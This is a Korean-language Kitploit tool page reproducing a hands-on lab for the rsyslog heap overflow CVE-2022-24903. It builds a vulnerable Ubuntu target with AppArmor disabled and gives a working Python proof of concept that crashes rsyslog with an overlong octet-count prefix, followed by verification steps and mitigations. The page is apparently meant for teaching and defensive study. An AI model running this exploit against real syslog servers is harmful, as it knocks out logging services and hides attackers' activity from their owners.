Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
도구/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
21일 전아직 검토되지 않음

CVE-2022-24903 핸즈온 랩

저자: Andrew Beshay Mousa

rsyslog 힙 버퍼 오버플로 취약점을 시연하는 실용적인 핸즈온 랩입니다.

rsyslog CVE Type Protocol

TCP syslog 수신 시 octet-counted framing을 통해 rsyslog 힙 버퍼 오버플로 취약점(CVE-2022-24903)을 재현하고 이해할 수 있는 실용적인 랩 환경입니다.


Table of Contents

  • 개요
  • 랩 아키텍처
  • 사전 요구사항
  • 취약점 상세
  • 랩 설정
    • 대상 머신 (Ubuntu)
    • 공격자 머신 (Kali)
  • 익스플로잇
  • 검증
  • 문제 해결
  • 완화 조치
  • 참고 자료

개요

CVE-2022-24903은 octet-counted framing(RFC 5425)을 사용할 때 rsyslog의 TCP syslog 수신 모듈(imtcp)에서 발생하는 힙 버퍼 오버플로 취약점입니다.

공격자는 과도하게 긴 octet-count 접두사를 포함한 조작된 TCP syslog 메시지를 전송하여 rsyslog가 힙에 할당된 버퍼의 경계를 벗어나 데이터를 쓰게 만들 수 있으며, 이로 인해 서비스 거부(DoS) 또는 잠재적인 메모리 손상이 발생할 수 있습니다.


랩 아키텍처

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

필요 VM

참고: 대상 머신으로 Ubuntu의 어떤 버전(20.04, 22.04, 24.04)을 사용해도 됩니다. 핵심은 취약한 rsyslog 8.2001.0 .deb 패키지를 수동으로 설치하는 것입니다.


사전 요구사항

  • VirtualBox 또는 VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • 하이퍼바이저에 구성된 Host-Only 네트워크
  • Linux 명령어와 Python에 대한 기본 지식

취약점 상세

Octet-Counted Framing이란?

TCP syslog(RFC 5425)에서 메시지 앞에는 바이트 단위의 길이가 접두사로 붙습니다:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

버그

취약한 rsyslog 버전에서 octet-count 파서는:

  1. 숫자를 고정 크기 힙 버퍼에 누적합니다
  2. 숫자를 쓰는 동안 버퍼 경계를 확인하지 않습니다
  3. octet count가 허용된 최대값을 초과한 후에도 숫자 쓰기를 계속합니다
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

결과: 9999...(5000자리 이상)를 전송하면 힙 버퍼가 오버플로되어 인접 메모리가 손상됩니다.

RCE가 어려운 이유

  • 오버플로는 숫자 문자만(0-9) 사용할 수 있습니다
  • 파서는 첫 번째 숫자가 아닌 문자에서 멈춥니다
  • 셸코드를 직접 주입할 수 없습니다
  • DoS는 확실히 발생합니다. RCE는 공급업체가 가능성이 낮은 것으로 평가합니다

랩 설정

1단계: Host-Only 네트워크 구성

하이퍼바이저에서 Host-Only 네트워크를 생성합니다:

  • 서브넷: 192.168.56.0/24
  • DHCP: 비활성화 (고정 IP 사용)

두 VM을 모두 이 네트워크에 연결합니다.


2단계: 대상 머신 (Ubuntu)

2.1 고정 IP 설정

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

다음을 붙여넣습니다:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

적용합니다:

root@kitploit:~
sudo netplan apply

확인합니다:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 최신 rsyslog 중지 및 제거

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 취약한 rsyslog 다운로드 및 설치

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

dpkg 잠금 오류가 발생하면:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

버전을 확인합니다:

root@kitploit:~
rsyslogd -v | head -2

예상 출력:

root@kitploit:~
rsyslogd  8.2001.0

2.4 AppArmor 비활성화 (랩 전용)

AppArmor가 이전 패키지와 함께 rsyslog가 올바르게 작동하는 것을 차단할 수 있습니다:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 TCP 514용 rsyslog 구성

root@kitploit:~
sudo nano /etc/rsyslog.conf

파일 내용을 지우고 다음을 붙여넣습니다:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 방화벽 포트 열기

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslog 시작

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

수신 상태를 확인합니다:

root@kitploit:~
sudo ss -tlnp | grep 514

예상:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

3단계: 공격자 머신 (Kali)

3.1 고정 IP 설정

root@kitploit:~
sudo nano /etc/network/interfaces

다음을 붙여넣습니다:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

또는 Netplan을 사용하는 경우:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 익스플로잇 스크립트 생성

root@kitploit:~
cd ~/Desktop
nano exploit.py

다음을 붙여넣습니다:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

실행 권한을 부여합니다:

root@kitploit:~
chmod +x exploit.py

익스플로잇

사전 점검

공격자 머신에서 연결을 확인합니다:

root@kitploit:~
nc -zv 192.168.56.20 514

예상:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

익스플로잇 실행

root@kitploit:~
python3 ~/Desktop/exploit.py

예상 출력:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

검증

대상 머신에서 크래시를 확인합니다:

방법 1: rsyslog가 계속 실행 중인지 확인

root@kitploit:~
ps aux | grep rsyslog

출력이 없으면 -> rsyslog가 크래시된 것입니다

방법 2: 커널 로그 확인

root@kitploit:~
sudo dmesg | tail -10

예상 출력:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

또는:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

방법 3: systemd 저널 확인

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

방법 4: 재시작 및 재테스트

재현 가능성을 확인하려면:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

그런 다음 Kali에서 익스플로잇을 다시 실행합니다. 크래시가 다시 발생해야 합니다.


문제 해결


완화 조치

1. rsyslog 업그레이드

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

패치된 버전을 확인합니다:

root@kitploit:~
rsyslogd -v | head -2

8.2204.1 이상이어야 합니다.

2. 필요하지 않으면 TCP syslog 비활성화

/etc/rsyslog.conf에서 주석 처리합니다:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. TLS/SSL 사용 (RFC 5425)

TCP syslog가 필요하다면 암호화된 전송을 사용합니다:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. 방화벽 제한

TCP 514를 신뢰할 수 있는 호스트로만 제한합니다:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

참고 자료

  • NVD - CVE-2022-24903
  • rsyslog Security Advisory
  • Ubuntu Security Notice USN-5404-1
  • RFC 5424 - Syslog Protocol
  • RFC 5425 - TLS Transport

면책 조항

이 랩은 교육 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 사용하지 마십시오. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.


라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.


커피와 호기심으로 만든 Andrew Beshay Mousa의 프로젝트입니다.

도구 다운로드
속성값
CVE IDCVE-2022-24903
영향받는 버전rsyslog < 8.2204.1
공격 경로네트워크
포트514/TCP
모듈imtcp (TCP 입력)
영향DoS / 힙 손상
RCE 가능성?없음 (공급업체 평가)
VMOS역할IPRAMCPU
대상Ubuntu 22.04취약한 rsyslog 서버192.168.56.201 GB1
공격자Kali Linux익스플로잇 전송자192.168.56.102 GB1
문제해결 방법
Connection refusedrsyslog가 실행 중이 아니거나 TCP 514에서 수신 대기하지 않습니다. sudo systemctl status rsyslog 및 `sudo ss -tlnp
Unit rsyslog.service is maskedsudo systemctl unmask rsyslog.service syslog.socket을 실행하세요
dpkg frontend locksudo kill -9 <PID>를 실행한 다음 sudo rm -f /var/lib/dpkg/lock-frontend를 실행하세요
AppArmor DENIED in dmesgsudo systemctl stop apparmor && sudo systemctl disable apparmor를 실행하세요
rsyslog 버전이 8.2112+인 경우패치된 버전을 설치한 것입니다. rsyslog_8.2001.0-1ubuntu1_amd64.deb를 수동으로 다운로드하여 설치하세요
익스플로잇 후에도 크래시가 발생하지 않는 경우페이로드 크기를 b"9" * 20000으로 늘리세요